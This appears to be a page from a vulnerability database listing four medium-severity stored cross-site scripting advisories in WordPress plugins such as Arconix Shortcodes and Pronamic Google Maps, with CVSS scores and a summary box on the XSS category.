Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Leap13 Premium Blocks - Gutenberg Blocks for WordPress allows Stored XSS.1.42. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tyche Softwares Arconix Shortcodes allows Stored XSS.1.14. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Arconix Shortcodes +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPKoi WPKoi Templates for Elementor allows Stored XSS.1.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pronamic Pronamic Google Maps allows Stored XSS.3.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Google +1
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40710

Related CWEs

MITRE ATT&CK

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